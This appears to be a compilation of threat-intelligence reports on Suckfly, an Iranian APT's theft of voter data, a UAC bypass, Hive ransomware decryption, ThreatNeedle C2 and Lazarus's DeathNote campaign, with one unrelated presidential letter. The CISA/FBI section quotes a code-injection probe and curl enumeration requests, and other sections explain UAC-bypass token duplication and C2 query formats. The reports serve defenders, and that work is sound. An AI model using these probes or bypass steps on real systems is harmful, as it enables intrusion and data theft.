Signing malware with code-signing certificates is becoming more common, as seen in this investigation and the other attacks we have discussed. Attackers are taking the time and effort to steal certificates because it is becoming necessary to gain a foothold on a targeted computer. Attempts to sign malware with code-signing certificates have become more common as the Internet and security systems have moved towards a more trust and reputation-oriented model. This means that untrusted software may not be allowed to run unless it is signed.
As we noted in our previous research on the Apple threat landscape, some operating systems, such as Mac OS X, are configured by default to only allow applications to run if they have been signed with a valid certificate, meaning they are trusted.
However, using valid code-signing certificates stolen from organizations with a positive reputation can allow attackers to piggyback on that company’s trust, making it easier to slip by these defenses and gain access to targeted computers.
## Conclusion
Suckfly paints a stark picture of where cyberattack groups and cybercriminals are focusing their attentions. Our investigation shines a light on an often unknown and seedier secret life of code-signing certificates, which is completely unknown to their owners. The implications of this study show that certificate owners need to keep a careful eye on them to prevent them from falling into the wrong hands. It is important to give certificates the protection they need so they can't be used maliciously.
The certificates are only as secure as the safeguards that organizations put around them. Once a certificate has been compromised, so has the reputation of the organization who signed it. An organization whose certificate has been stolen and used to sign malware will always be associated with that activity.
Symantec monitors for this type of activity to help prevent organizations from being tied to malicious actions undertaken with their stolen certificates. During the course of this investigation, we ensured that all certificates compromised by Suckfly were revoked and the affected companies notified.
Over the past few years, we have seen a number of advanced threats and cybercrime groups who have stolen code-signing certificates. In all of the cases involving an advanced threat, the certificates were used to disguise malware as a legitimate file or application. As this trend grows, it is more important than ever for organizations to maintain strong cybersecurity practices and store their certificates and corresponding keys in a secure environment. Using encryption, and services such as Symantec’s Extended Validation (EV) Code Signing, and Symantec’s Secure App Service can provide additional layers of security.
## Protection
Symantec has the following detections in place to protect against Suckfly’s malware:
- Antivirus
- Intrusion prevention system
## Further information
To learn more about Symantec’s digital certificate solutions for code signing, please visit our Code Signing Information Center. To learn more about how best to protect your code-signing certificates, read our whitepaper: Securing Your Private Keys As Best Practice for Code Signing Certificates.
## Update – March 18, 2016
### Indicators of compromise
**File hashes**
- 05edd53508c55b9dd64129e944662c0d
- 1cf5ce3e3ea310b0f7ce72a94659ff54
- 352eede25c74775e6102a095fb49da8c
- 3b595d3e63537da654de29dd01793059
- 4709395fb143c212891138b98460e958
- 50f4464d0fc20d1932a12484a1db4342
- 96c317b0b1b14aadfb5a20a03771f85f
- ba7b1392b799c8761349e7728c2656dd
- de5057e579be9e3c53e50f97a9b1832b
- e7d92039ffc2f07496fe7657d982c80f
- e864f32151d6afd0a3491f432c2bb7a2
**Infrastructure**
- usv0503[.]iqservs-jp.com
- aux[.]robertstockdill.com
- fli[.]fedora-dns-update.com
- bss[.]pvtcdn.com
- ssl[.]microsoft-security-center.com
- ssl[.]2upgrades.com
- 133.242.134.121
- fli[.]fedora-dns-update.com |
# Iranian Advanced Persistent Threat Actor Identified Obtaining Voter Registration Data
## Summary
This advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) version 8 framework. This joint cybersecurity advisory was coauthored by the Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI). CISA and the FBI are aware of an Iranian advanced persistent threat (APT) actor targeting U.S. state websites, including election websites. CISA and the FBI assess this actor is responsible for the mass dissemination of voter intimidation emails to U.S. citizens and the dissemination of U.S. election-related disinformation in mid-October 2020. Further evaluation has identified that the targeting of U.S. state election websites was an intentional effort to influence and interfere with the 2020 U.S. presidential election.
## Technical Details
Analysis by CISA and the FBI indicates this actor scanned state websites, including state election websites, between September 20 and September 28, 2020, with the Acunetix vulnerability scanner (Active Scanning: Vulnerability Scanning [T1595.002]). Acunetix is a widely used and legitimate web scanner, which has been used by threat actors for nefarious purposes. Organizations that do not regularly use Acunetix should monitor their logs for any activity from the program that originates from IP addresses provided in this advisory and consider it malicious reconnaissance behavior.
Additionally, CISA and the FBI observed this actor attempting to exploit websites to obtain copies of voter registration data between September 29 and October 17, 2020 (Exploit Public-Facing Application [T1190]). This includes attempted exploitation of known vulnerabilities, directory traversal, Structured Query Language (SQL) injection, web shell uploads, and leveraging unique flaws in websites.
CISA and the FBI can confirm that the actor successfully obtained voter registration data in at least one state. The access of voter registration data appeared to involve the abuse of website misconfigurations and a scripted process using the cURL tool to iterate through voter records. A review of the records that were copied and obtained reveals the information was used in the propaganda video.
CISA and FBI analysis of identified activity against state websites, including state election websites, referenced in this product cannot all be fully attributed to this Iranian APT actor. FBI analysis of the Iranian APT actor’s activity has identified targeting of U.S. elections’ infrastructure (Compromise Infrastructure [T1584]) within a similar timeframe, use of IP addresses and IP ranges—including numerous virtual private network (VPN) service exit nodes—which correlate to this Iran APT actor (Gather Victim Host Information [T1592]), and other investigative information.
## Reconnaissance
The FBI has information indicating this Iran-based actor attempted to access PDF documents from state voter sites using advanced open-source queries (Search Open Websites and Domains [T1593]). The actor demonstrated interest in PDFs hosted on URLs with the words “vote” or “voter” and “registration.” The FBI identified queries of URLs for election-related sites.
The FBI also has information indicating the actor researched the following information in a suspected attempt to further their efforts to survey and exploit state election websites:
- YOURLS exploit
- Bypassing ModSecurity Web Application Firewall
- Detecting Web Application Firewalls
- SQLmap tool
## Acunetix Scanning
CISA’s analysis identified the scanning of multiple entities by the Acunetix Web Vulnerability scanning platform between September 20 and September 28, 2020 (Active Scanning: Vulnerability Scanning [T1595.002]). The actor used the scanner to attempt SQL injection into various fields in `/registration/registration/details` with status codes 404 or 500.
### Requests
The actor used the following requests associated with this scanning activity:
```
2020-09-26 13:12:56 x.x.x.x GET /x/x v[$acunetix]=1 443 - x.x.x.x Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.21+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.21 - 200 0 0 0
2020-09-26 13:13:19 X.X.x.x GET /x/x voterid[$acunetix]=1 443 - x.x.x.x Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.21+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.21 - 200 0 0 1375
2020-09-26 13:13:18 .X.x.x GET /x/x voterid=;print(md5(acunetix_wvs_security_test)); 443 - X.X.x.x
```
### User Agents Observed
CISA and FBI have observed the following user agents associated with this scanning activity:
- Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.21+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.21 - 500 0 0 0
- Mozilla/5.0+(X11;+U;+Linux+x86_64;+en-US;+rv:1.9b4)+Gecko/2008031318+Firefox/3.0b4
- Mozilla/5.0+(X11;+U;+Linux+i686;+en-US;+rv:1.8.1.17)+Gecko/20080922+Ubuntu/7.10+(gutsy)+Firefox/2.0.0.17
## Exfiltration
### Obtaining Voter Registration Data
Following the review of web server access logs, CISA analysts, in coordination with the FBI, found instances of the cURL and FDM User Agents sending GET requests to a web resource associated with voter registration data. The activity occurred between September 29 and October 17, 2020. Suspected scripted activity submitted several hundred thousand queries iterating through voter identification values, retrieving results with varying levels of success [Gather Victim Identity Information (T1589)]. A sample of the records identified by the FBI reveals they match information in the aforementioned propaganda video.
### Requests
The actor used the following requests:
```
2020-10-17 13:07:51 x.x.x.x GET /x/x voterid=XXXX1 443 - x.x.x.x curl/7.55.1 - 200 0 0 1406
2020-10-17 13:07:55 x.x.x.x GET /x/x voterid=XXXX2 443 - x.x.x.x curl/7.55.1 - 200 0 0 1390
2020-10-17 13:07:58 x.x.x.x GET /x/x voterid=XXXX3 443 - x.x.x.x curl/7.55.1 - 200 0 0 1625
2020-10-17 13:08:00 x.x.x.x GET /x/x voterid=XXXX4 443 - x.x.x.x curl/7.55.1 - 200 0 0 1390
```
### User Agents
CISA and FBI have observed the following user agents:
- FDM+3.x
- curl/7.55.1
- Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.21+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.21 - 500 0 0 0
- Mozilla/5.0+(X11;+U;+Linux+x86_64;+en-US;+rv:1.9b4)+Gecko/2008031318+Firefox/3.0b4
## Mitigations
### Detection
Organizations can identify Acunetix scanning activity by using the following keywords while performing log analysis:
- `$acunetix`
- `acunetix_wvs_security_test`
### Indicators of Compromise
The following IPs have been associated with this activity:
- 102.129.239[.]185 (Acunetix Scanning)
- 143.244.38[.]60 (Acunetix Scanning and cURL requests)
- 45.139.49[.]228 (Acunetix Scanning)
- 156.146.54[.]90 (Acunetix Scanning)
- 109.202.111[.]236 (cURL requests)
- 185.77.248[.]17 (cURL requests)
- 217.138.211[.]249 (cURL requests)
- 217.146.82[.]207 (cURL requests)
- 37.235.103[.]85 (cURL requests)
- 37.235.98[.]64 (cURL requests)
- 70.32.5[.]96 (cURL requests)
- 70.32.6[.]20 (cURL requests)
- 70.32.6[.]8 (cURL requests)
- 70.32.6[.]97 (cURL requests)
- 70.32.6[.]98 (cURL requests)
- 77.243.191[.]21 (cURL requests and FDM+3.x enumeration/iteration)
- 92.223.89[.]73 (cURL requests)
CISA and the FBI are aware the following IOCs have been used by this Iran-based actor. These IP addresses facilitated the mass dissemination of voter intimidation email messages on October 20, 2020:
- 195.181.170[.]244 (Observed September 30 and October 20, 2020)
- 102.129.239[.]185 (Observed September 30, 2020)
- 104.206.13[.]27 (Observed September 30, 2020)
- 154.16.93[.]125 (Observed September 30, 2020)
- 185.191.207[.]169 (Observed September 30, 2020)
- 185.191.207[.]52 (Observed September 30, 2020)
- 194.127.172[.]98 (Observed September 30, 2020)
- 194.35.233[.]83 (Observed September 30, 2020)
- 198.147.23[.]147 (Observed September 30, 2020)
- 198.16.66[.]139 (Observed September 30, 2020)
- 212.102.45[.]3 (Observed September 30, 2020)
- 212.102.45[.]58 (Observed September 30, 2020)
- 31.168.98[.]73 (Observed September 30, 2020)
- 37.120.204[.]156 (Observed September 30, 2020)
- 5.160.253[.]50 (Observed September 30, 2020)
- 5.253.204[.]74 (Observed September 30, 2020)
- 64.44.81[.]68 (Observed September 30, 2020)
- 84.17.45[.]218 (Observed September 30, 2020)
- 89.187.182[.]106 (Observed September 30, 2020)
- 89.187.182[.]111 (Observed September 30, 2020)
- 89.34.98[.]114 (Observed September 30, 2020)
- 89.44.201[.]211 (Observed September 30, 2020)
## Recommendations
The following list provides recommended self-protection mitigation strategies against cyber techniques used by advanced persistent threat actors:
- Validate input as a method of sanitizing untrusted input submitted by web application users. Validating input can significantly reduce the probability of successful exploitation by providing protection against security flaws in web applications. The types of attacks possibly prevented include SQL injection, Cross Site Scripting (XSS), and command injection.
- Audit your network for systems using Remote Desktop Protocol (RDP) and other internet-facing services. Disable unnecessary services and install available patches for the services in use. Users may need to work with their technology vendors to confirm that patches will not affect system processes.
- Verify all cloud-based virtual machine instances with a public IP, and avoid using open RDP ports unless there is a valid need. Place any system with an open RDP port behind a firewall and require users to use a VPN to access it through the firewall.
- Enable strong password requirements and account lockout policies to defend against brute-force attacks.
- Apply multi-factor authentication when possible.
- Maintain a good information back-up strategy by routinely backing up all critical data and system configuration information on a separate device. Store the backups offline, verify their integrity, and verify the restoration process.
- Enable logging and ensure logging mechanisms capture RDP logins. Keep logs for a minimum of 90 days and review them regularly to detect intrusion attempts.
- When creating cloud-based virtual machines, adhere to the cloud provider's best practices for remote access.
- Ensure third parties that require RDP access follow internal remote access policies.
- Minimize network exposure for all control system devices. Where possible, critical devices should not have RDP enabled.
- Regulate and limit external to internal RDP connections. When external access to internal resources is required, use secure methods, such as VPNs. However, recognize the security of VPNs matches the security of the connected devices.
- Use security features provided by social media platforms; use strong passwords, change passwords frequently, and use a different password for each social media account.
## General Mitigations
- Keep applications and systems updated and patched. Apply all available software updates and patches and automate this process to the greatest extent possible. Automating updates and patches is critical because of the speed of threat actors to create new exploits following the release of a patch. Ensure the authenticity and integrity of vendor updates by using signed updates delivered over protected links.
- Scan web applications for SQL injection and other common web vulnerabilities. Implement a plan to scan public-facing web servers for common web vulnerabilities by using a commercial web application vulnerability scanner in combination with a source code scanner. Fixing or patching vulnerabilities after they are identified is especially crucial for networks hosting older web applications.
- Deploy a web application firewall (WAF) to prevent invalid input attacks and other attacks destined for the web application. WAFs are intrusion/detection/prevention devices that inspect each web request made to and from the web application to determine if the request is malicious.
- Deploy techniques to protect against web shells. Patch web application vulnerabilities or fix configuration weaknesses that allow web shell attacks, and follow guidance on detecting and preventing web shell malware.
- Use multi-factor authentication for administrator accounts. Prioritize protection for accounts with elevated privileges, remote access, or used on high-value assets. Organizations should migrate away from single-factor authentication, such as password-based systems.
- Remediate critical web application security risks. First, identify and remediate critical web application security risks. Next, move on to other less critical vulnerabilities.
## How do I respond to unauthorized access to election-related systems?
- Implement your security incident response and business continuity plan. It may take time for your organization’s IT professionals to isolate and remove threats to your systems and restore normal operations. In the meantime, take steps to maintain your organization’s essential functions according to your business continuity plan.
- Contact CISA or law enforcement immediately. To report an intrusion and to request incident response resources or technical assistance, contact CISA ([email protected] or 888-282-0870) or the FBI through a local field office or the FBI’s Cyber Division ([email protected] or 855-292-3937). |
# Threat Actor Group using UAC Bypass Module to run BAT File
**by Aesol Kim**
**March 28, 2019**
## Overview
Our Threat Recon team continues to collect and analyze activity-related data from multiple APT groups. We analyzed malware used in hacking activities targeting organizations located in South Korea, the US, and East Asia earlier this year. They use a CAB file that compresses the malware, separate configuration files, and a specific User Access Control (UAC) bypass module. This article briefly describes the infection method of the malware that they were using at the time and the UAC bypass module used.
## Infection Method
The attackers used quite a few steps to generate their malware, and the initial infection comes from malicious documents attached to spear phishing emails. When a user executes a file attached to the email, a batch file for downloading a base64-encoded CAB file from a remote site is downloaded through a script included in the document.
### Infection method using CAB file
The following is the sequence of the infection method that they use:
1. Download base64 encoded data `1.txt` via script embedded in malicious documents.
2. Decode `1.txt` to create `1.bat` and run `1.bat`.
3. `1.bat` downloads `2.txt` (32-bit) or `3.txt` (64-bit) according to the Windows platform environment (32bit / 64bit).
4. Decode `2.txt` or `3.txt` to create `setup.cab`.
Each file looks like an SSL certificate using the string “----- BEGIN CERTIFICATE -----”, but this is actually a base64 encoded cab and bat file.
### CAB file components
The CAB file is created according to the Windows platform environment through the following files:
1. BAT file for main payload file execution.
2. INI file containing attacker server address.
3. DLL file for UAC bypass.
4. Main EXE payload.
## Why does UAC Run?
This malware’s first batch file (`1.bat`) executes a second batch file which installs the main payload. A UAC pop-up will normally be shown to the user and this is caused by the code in the BAT file that installs the main payload. It copies the INI configuration file and the main payload EXE into the System32 folder. In general, when files are copied to the System32 folder, a UAC pop-up will run for security reasons. This folder should not be modified in normal situations because it contains important files used to operate the system.
### BAT File Details
The first batch file (`1.bat`) downloads the file from a remote server and uses the `net session > nul` command to verify the current user rights and perform the following actions:
- If admin: Delete UAC bypass DLL, execute main payload and BAT file.
- If not admin: Execute the following command using `rundll32.exe`:
Command: `[UAC Bypass Module], EntryPoint [Main Payload execution BAT file]`.
### About UAC
User Account Control (UAC) is a Windows operating system security control function based on the concept of access tokens. It displays a screen informing the user when a program requires administrator level privileges, acting as a warning prompt for user consent of unknown privileged activity.
### How it works
When a user logs into Windows, each user is given an access token. This access token has information on the security identifier (SID), the Windows operating system privilege, and the access level granted to the user, and the Windows system uses the access token to verify the user’s privilege. The access tokens generated at login are:
- Standard user: Generates a standard user access token.
- Administrator: Generates standard user access token, administrator access token.
The system allocates the following integrity levels according to the token privileges of the logged-in user. The system performs access control by comparing the access rights of the security descriptor of the object with the user’s SID.
Processes that run at Medium Level
Issued tokens are used for events such as process creation. The important thing here is that when a process is created after issuing a token, the administrator also executes the new process using the standard user access token. Generally, `explorer.exe`, which is the parent process of most user processes, operates at medium integrity level, so most processes run at the same level as `explorer.exe`. But when a process requires a high integrity level, processes can obtain elevated privilege if the user approves it.
This basically means that a process typically uses a standard user access token and uses the UAC to get the user’s authorization if an administrator access token is needed. The following such actions are examples of events which trigger UAC:
- Running an Application as an Administrator
- Changes to system-wide settings
- Changes to files in folders that standard users don’t have permissions for (such as %SystemRoot% or %ProgramFiles% in most cases)
- Changes to an access control list (ACL), commonly referred to as file or folder permissions
- Installing device drivers
- Installing ActiveX controls
- Changing settings for Windows Firewall
- Changing UAC settings
- Configuring Windows Update
- Adding or removing user accounts
- Changing a user’s account type
- Turning on Guest account (Windows 7 and 8.1)
- Turning on file sharing or media streaming
- Configuring Parental Controls
## UAC Bypass Module
However, the attackers in this case use a particular DLL module for bypassing UAC. It seems to have been created by referring to the source code of a file named `UAC-TokenMagic.ps1` which is open source on GitHub. First, it creates a `wusa.exe` process (an auto-elevatable process) that runs at a High Integrity Level. This process is the Windows Update Standalone installer, and it has an auto-elevate attribute so it does not pop up UAC if the system UAC popup setting is “Notify me only when programs/apps try to make changes to my computer”.
After creating `wusa.exe`, it copies that token and runs the `cmd.exe` process via `CreateProcessWithLogonW` using the copied token. Finally, `cmd.exe` runs at a High Integrity Level and executes `"/c EntryPoint" %Temp%\[bat file install main payload]` and this batch file inherits the elevated privilege of `cmd.exe`.
If the attacker is using the UAC bypass module, the batch file that runs the main payload will work through the `cmd.exe` generated by copying the access token from `wusa.exe`. In conclusion, the UAC will not pop up even if the code that moves the file into the System32 folder in the batch file is executed.
## Summary
The attackers compress the UAC Bypass Module with other components and distribute them in a CAB file format. We have seen this threat actor group mainly use decoy documents written in Russian, English, and Korean and used the BABYFACE, SYSCON malware variants as the main payload. Such activity may be related in part to the activities of the previously known threat actor groups. Our Threat Recon team will continue to monitor these Cyber Threat.
## Indicators of Compromise
### Hashes (SHA-256)
- 2b94c694a6279eaa08ce4a17fb848c8431c14beb9f811f1b2732b778c1703fbf
- 1df5cd85693dc2ce2ba5f7f251785b00b542d93f8e067539cadb550aa673759d
- afdf1960a5c372b815475807ff1ad1d16874d2802ce4ee71da484d61220f7a65
- 4b825d310a305728b7a57d9eb6731db87e8da9cef4bc7917fca7f4503bcb3272
- dd9bb177732197539bdb9167fb3dd784df10d6746a9b77255d62dfaccb092640
- 036567c36aaaabefcd222456b536bffee1ce4ccf279593048d62c9ef42b57472
- 4b825d310a305728b7a57d9eb6731db87e8da9cef4bc7917fca7f4503bcb3272
- 5c9773c3b4cf58839a476d469c6a705d66df95a2a8cc6ad72a3d914beff2eff5
### IP Addresses
- 103.249.31.159
- 88.99.13.69
- 154.16.201.104 |
# A Letter on Blocking Property with Respect to Specified Harmful Foreign Activities of the Government of the Russian Federation
April 15, 2021
TO THE CONGRESS OF THE UNITED STATES:
Pursuant to the International Emergency Economic Powers Act (50 U.S.C. 1701 et seq.) (IEEPA), I hereby report that I have issued an Executive Order declaring a national emergency with respect to the unusual and extraordinary threat to the national security, foreign policy, and economy of the United States posed by specified harmful foreign activities of the Government of the Russian Federation.
I have determined that specified harmful foreign activities of the Government of the Russian Federation — in particular, efforts to undermine the conduct of free and fair democratic elections and democratic institutions in the United States and its allies and partners; to engage in and facilitate malicious cyber-enabled activities against the United States and its allies and partners; to foster and use transnational corruption to influence foreign governments; to pursue extraterritorial activities targeting dissidents or journalists; to undermine security in countries and regions important to United States national security; and to violate well-established principles of international law, including respect for the territorial integrity of states — constitute an unusual and extraordinary threat to the national security, foreign policy, and economy of the United States.
I am enclosing a copy of the Executive Order I have issued.
JOSEPH R. BIDEN JR.
THE WHITE HOUSE,
April 15, 2021. |
# How to Decrypt the Files Encrypted by the Hive Ransomware
South Korean researchers published an academic paper that presents a method to decrypt the files encrypted by the Hive Ransomware. This article highlights the main findings of the paper and comments regarding the feasibility of creating a universal decryptor for Hive.
Hive ransomware appeared around June 2021 and infected multiple companies. Two important victims of Hive are the Altus Group and Memorial Health System. The ransomware generates 10MB of random data using the rand function in the Go language, which is called the Master Key. For each file that will be encrypted, Hive extracts 1MB and 1KB of data from specific offsets and uses them as a keystream. These offsets are stored in the encrypted file names and can be used to extract the keystream used for encryption.
Hive encrypts a file using the XOR operator with a random keystream. The Master Key is encrypted using a hard-coded RSA-2048 public key and stored in the “C:\” folder or “C:\Users\<User>\AppData\Local\VirtualStore” depending on the user’s privileges. The ransomware creates a ransom note called HOW_TO_DECRYPT.txt in every targeted directory. Whether it’s running with admin privileges, Hive also encrypts the files located in the “C:\Users\Program Files(x86)”, “C:\Users\Program Files”, and “C:\Users\ProgramData” directories.
The malware generates two random numbers R1 and R2, which are 8 bytes long using the rand function of the Math package. It defines the following values:
- Keystream1 offset (SP1) = R1 % 0x900000
- Keystream2 offset (SP2) = R2 % 0x9FFC00
- Keystream1 = Master Key [SP1:SP1+0x100000], 0x100000 bytes = 1MB
- Keystream2 = Master Key [SP2:SP2+0x400], 0x400 bytes = 1KB
The files are encrypted using the XOR operator:
```
Encrypted Data [i] = Data [i] XOR Keystream1 [i % 0x100000] XOR Keystream2 [i % 0x400]
```
which is equivalent to:
```
EKS [i] = Keystream1 [i] XOR Keystream2 [i % 0x400], i = 0,1, 2, …, 0xFFFFF
Encrypted Data = Data [offset] XOR EKS [offset % 0x100000]
```
All files are partially encrypted: 0x1000 encrypted bytes (4KB) alternatively followed by the non-encrypted data block (NBS bytes computed based on a file size).
A weakness of the above process is the fact that some keystreams will be partially reused when encrypting a lot of files. At least one of the following two conditions is required in order to decrypt files:
- Some original files corresponding to the encrypted files are available
- A lot of files with known signatures (.pdf, .xlsx, .hwp) have to be encrypted
An example provided by researchers regarding obtaining the original files represents the content of the Program Files, Program Files (x86), and ProgramData directories that are encrypted by the Hive ransomware. Some of these files are software files (Java, Python, Microsoft Office) that aren’t related to the OS, which can be downloaded from the Internet. The keystream (EKS) can be computed by XOR-ing the original file with the encrypted content.
The academic paper presents the pseudocode of three algorithms: “Calculation of the non-encrypted data block size”, “Calculation of the start offsets of Keystream1 and Keystream2”, and “Hive ransomware master key recovery”.
The researchers performed multiple experiments and concluded that it’s better to mix various file sizes for recovering the Master Key:
| Average file size | Number of files | Master key recovery rate (%) |
|-------------------|----------------|------------------------------|
| 1KB | 9 | 95.85 |
| 2–127KB | 24 | 95.85 |
| 128–1,023KB | 19 | 95.85 |
| 1–10MB | 19 | 95.85 |
| 10–100MB | 20 | 95.85 |
Using the Master Key that was partially recovered, we could decrypt most of the encrypted files.
Our company has been engaged in a lot of ransomware engagements in the past and has analyzed most of the ransomware families that are still active in the wild. We believe that even if there is a theoretical chance to create a universal decryptor for the Hive ransomware, it’s way easier to investigate an individual infection and decide whether the environment meets at least one of the necessary conditions to decrypt the files: at least tens of the unencrypted files should be available, or a lot of files with known signatures should have been encrypted. |
# Analysis of THREATNEEDLE C&C Communication (feat. Google TAG Warning to Researchers)
**S2W**
**January 29, 2021**
**Author: hypen (Sojun Ryu)**
Malware mentioned in “North Korean hackers have targeted security researchers via social media report” published by Google Threat Analysis Group (TAG) is considered to be ThreatNeedle, which is dubbed by Kaspersky. We already disclosed the deep analysis regarding C2 communication of ThreatNeedle at DCC 2019 and Kaspersky SAS Lightning Talk 2019. In addition, the malware and C2 communication have in common with Operation MalBus.
**Additional Reference for Operation MalBus**
MalBus Actor Changed Market from Google Play to ONE Store
We briefly deliver only the essential facts in Medium, and for other details, please refer to the attached PDF file which is presented at DCC and Kaspersky SAS.
Below is a tweet from Seongsu Park of Kaspersky GReAT team stating that this malware is ThreatNeedle. ThreatNeedle is already known to have been used by the Lazarus group along with Manuscrypt in the past. Most of them operate through HTTP communication, and C&C servers are written in languages such as ASP and JSP. ThreatNeedle, downloaded during the infection process, receives commands from the C&C server and performs malicious actions. The overall process is as follows.
## The overall process of the ThreatNeedle
The definition of each term is as below:
- **Troy** → ThreatNeedle malware installed on Victim
- **Proxy** → Control Page of C&C Server (.ASP, .JSP)
- **favicon.icon** → Store IDs of Infected devices (only Troy’s ID)
- **build.xnl** → Store Time, IP, ID of all authenticated connections (Troy and Manager)
- **desktops.inf** → Store URL of MID server
- **[TroyID]** → Identification value for each infected device randomly generated when infected with ThreatNeedle
- **[TroyID].jpg** → Store Victim who has [TroyID] information or command result
- **[TroyID].bmp** → Store Attacker’s command
## List of Troy→Proxy Server Commands
The infected device information is transmitted to the Proxy server and waits until a specific command is received. Communication with the proxy is possible only when a specific type of parameter is transmitted, and Troy’s connection is processed by the proxy’s handleTroy function. The action for each command is as follows.
**Query Structure:**
`[Field 1]=[Cmd]&[Field 2]=?&[Field 3]=[TroyID]&[Field 4]=[Packet ID]&[Field 5]=[Buffer Size]&[Field 6]=[Buffer]`
`<Field 2>, <Field 4>` are not in use.
Proxy initially receives the command 71 from Troy and saves the information of infected devices as `[TroyID].jpg` file on the Proxy server. After checking the connection with the MID by using the command 81, the ID of the infected device, that is, Troy ID, is saved in `favicon.icon`. After that, if there is a command file called `[TroyID].bmp`, it is read and transmitted to Troy. After the initial authentication is completed, the attacker’s remote control command is stored in `[TroyID].bmp` encoded with base64^0xA4, and the result of executing the command is stored in the same encoding method in `[TroyID].jpg`. Files used in this process are immediately deleted.
- **favicon.icon** → store IDs of Infected devices
- **Proxy** → MID
When ‘Troy’ connects to the ‘Proxy’, and the command 81 is executed, Proxy sends its information to MID. An ‘attacker’ is capable of identifying the logs stored on the MID server in order to identify the ‘Proxy’ servers that are connected with ‘Troy.’ In order to communicate with ‘MID’, specific command value and Proxy ID authentication should be executed. Commands are sent and received only when the MID server is active.
**Query Structure:**
`id=[CMD]&field=[0 or ProxyURL]&buffer=[ProxyID]&iframe=[1 or 0]&frame=[0 or 1][&uframe=3]`
`<Field 1>` is used to update MID server and `<Field 2>` is used when Troy is connected.
## List of Manager→Proxy Server Commands
The attacker sends commands to ‘Troy’ through the ‘Manager’. The adversary is capable of handling C&C infrastructure such as collecting the stored log file on Proxy server and updating MID server.
**Query Structure:**
`[Field 1]=[Cmd]&[Field 2]=[Target TroyID]&[Field 3]=[TroyID]&[Field 4]=[Additional Information]&[Field 5]=[Buffer Size]&[Field 6]=[Buffer]`
`Cmd, TroyID, Buffer Size and Buffer are always used, but the 2nd/4th fields are used only for certain commands.`
## Indicators of Compromise
- 1a327cced0b0c0bf99146f276fb7a93148cd9a396ef06c73ab069365d079c869 | w3wp.exe
- 3fd610f69ef1808431b090c40a065621d15f591bbf2470cd8a14f1ae352b6c2f | smss.exe
- 9f5e407601032063e1f1d263e9a2b11c99fbf094e2a0fe65bfa5ad72716cdbd8 | tab05_b.mov
- e0a62ba2c58b1a8e9484f1c4452aaafcab6a1ccfe44bfd680edbe859044049d2 | iisret.dll
- 46196370d2cd24b19bd1272a9c3632e5ff9fbeb986960caa03b1e8186fb37239 | dll
- 07375a711dda055cfb8777d31aff9cfecb5f5142e88712cf93d41e2a317abe22 | ASP
- 011cc019872f75c30cfa1d41201fc2341418bf53457449f8e066379e6df1ad12 | ASP
- cd4658151e41749ec71fe64d9e88b35fcd82afb8d3654bb6db9879bb4854d76a | ASP |
# Following the Lazarus Group by Tracking DeathNote Campaign
**Authors**
Seongsu Park
The Lazarus group is a high-profile Korean-speaking threat actor with multiple sub-campaigns. We have previously published information about the connections of each cluster of this group. In this blog, we’ll focus on an active cluster that we dubbed DeathNote because the malware responsible for downloading additional payloads is named Dn.dll or Dn64.dll. This threat is also known as Operation DreamJob or NukeSped. Over the past few years, we have closely monitored the DeathNote cluster, observing a shift in their targets as well as the development and refinement of their tools, techniques, and procedures.
## Timeline of DeathNote Cluster
In this blog, we will provide an overview of the significant modifications that have taken place within this cluster, both in terms of its technical and strategic aspects.
### Beginning of Tracking DeathNote
The notorious threat actor Lazarus has persistently targeted cryptocurrency-related businesses for a long time. While monitoring the actor’s activities, we noticed that in one particular case they were using a significantly modified piece of malware. In mid-October 2019, we came across a suspicious document uploaded to VirusTotal. Upon further investigation, we discovered that the actor behind this weaponized document had been using similar malicious Word documents since October 2018. The malware author used decoy documents that were related to the cryptocurrency business such as a questionnaire about buying specific cryptocurrency, an introduction to a specific cryptocurrency, and an introduction to a bitcoin mining company.
#### Decoy Documents
Once the victim opens the document and enables the macro, the malicious Visual Basic Script extracts the embedded downloader malware and loads it with specific parameters. In this initial discovery, the actor used two types of second-stage payload. The first is a manipulated piece of software that contains a malicious backdoor, while the second is a typical backdoor with a multi-stage binary infection process.
### Infection Procedure
The Trojanized application utilized in the second stage is masquerading as a genuine UltraVNC viewer. If executed without any command line parameters, it will display a legitimate UltraVNC viewer window. However, it carries out a malicious routine when it is spawned with “-s {F9BK1K0A-KQ9B-2PVH-5YKV-IY2JLT37QQCJ}” parameters. The other infection method executes the installer, which creates and registers an injector and backdoor in a Windows service. Finally, the backdoor is injected into a legitimate process (svchost.exe) and initiates a command-and-control (C2) operation. In this infection, the final payload injected into the legitimate process was Manuscrypt. Until this discovery, the Lazarus group had primarily targeted the cryptocurrency business. Our investigation has identified potential compromises of individuals or companies involved in cryptocurrency in Cyprus, the United States, Taiwan, and Hong Kong.
### Shifting Focus to the Defense Industry
While tracking this campaign, we uncovered a significant shift in the attack’s target along with updated infection vectors in April 2020. Our research showed that the DeathNote cluster was used to target the automotive and academic sectors in Eastern Europe, both of which are connected to the defense industry. At this point, the actor switched all the decoy documents to job descriptions related to defense contractors and diplomatic services.
#### Decoy Documents
In addition, the actor refined its infection chain, using the remote template injection technique in their weaponized documents, as well as utilizing Trojanized open-source PDF viewer software. Both of these infection methods result in the same malware (DeathNote downloader), which is responsible for uploading the victim’s information and retrieving the next-stage payload at the C2’s discretion. Finally, a COPPERHEDGE variant is executed in memory.
### Infection Chain
Notably, a Trojanized PDF reader, based on the open-source software, used an interesting technique to initiate its malicious routine. It first retrieves the MD5 hash of the opened PDF file and performs an XOR operation on 65 bytes of embedded data using the retrieved MD5 value. Next, it verifies that the first WORD value of the XORed data is 0x4682 and checks that the MD5 hash value matches the last 16 bytes of the XORed data. If both conditions are met, the remaining 47-byte value is used as the decryption key for the next stage of infection.
#### Verification Process of Trojanized PDF Reader
Finally, this Trojanized PDF viewer overwrites the original opened file with a decoy PDF file and opens it to deceive the victim while implementing the malware payload. The payload is executed with command line parameters, and a shortcut file is created in the Startup folder to ensure persistence. This infection mechanism demonstrates the care and precision with which the actor delivers the payload.
